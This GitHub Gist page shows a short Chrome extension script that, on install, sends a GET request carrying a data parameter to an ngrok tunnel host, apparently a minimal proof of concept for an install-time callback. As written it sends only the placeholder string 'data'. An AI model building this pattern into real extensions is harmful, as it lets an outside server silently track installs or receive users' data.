Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save nknskn/24a4fde3c5562e4d404ed8b305656c66 to your computer and use it in GitHub Desktop.

Select an option

Save nknskn/24a4fde3c5562e4d404ed8b305656c66 to your computer and use it in GitHub Desktop.
function send(data) {
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://b5f8d4b7.ngrok.io/?a="+data, true);
xhr.onload = function (e) {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
code = xhr.responseText;
} else {
console.error(xhr.statusText);
}
}
};
xhr.onerror = function (e) {
console.error(xhr.statusText);
};
xhr.send(null);
}
chrome.runtime.onInstalled.addListener(function(details){
send("data");
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment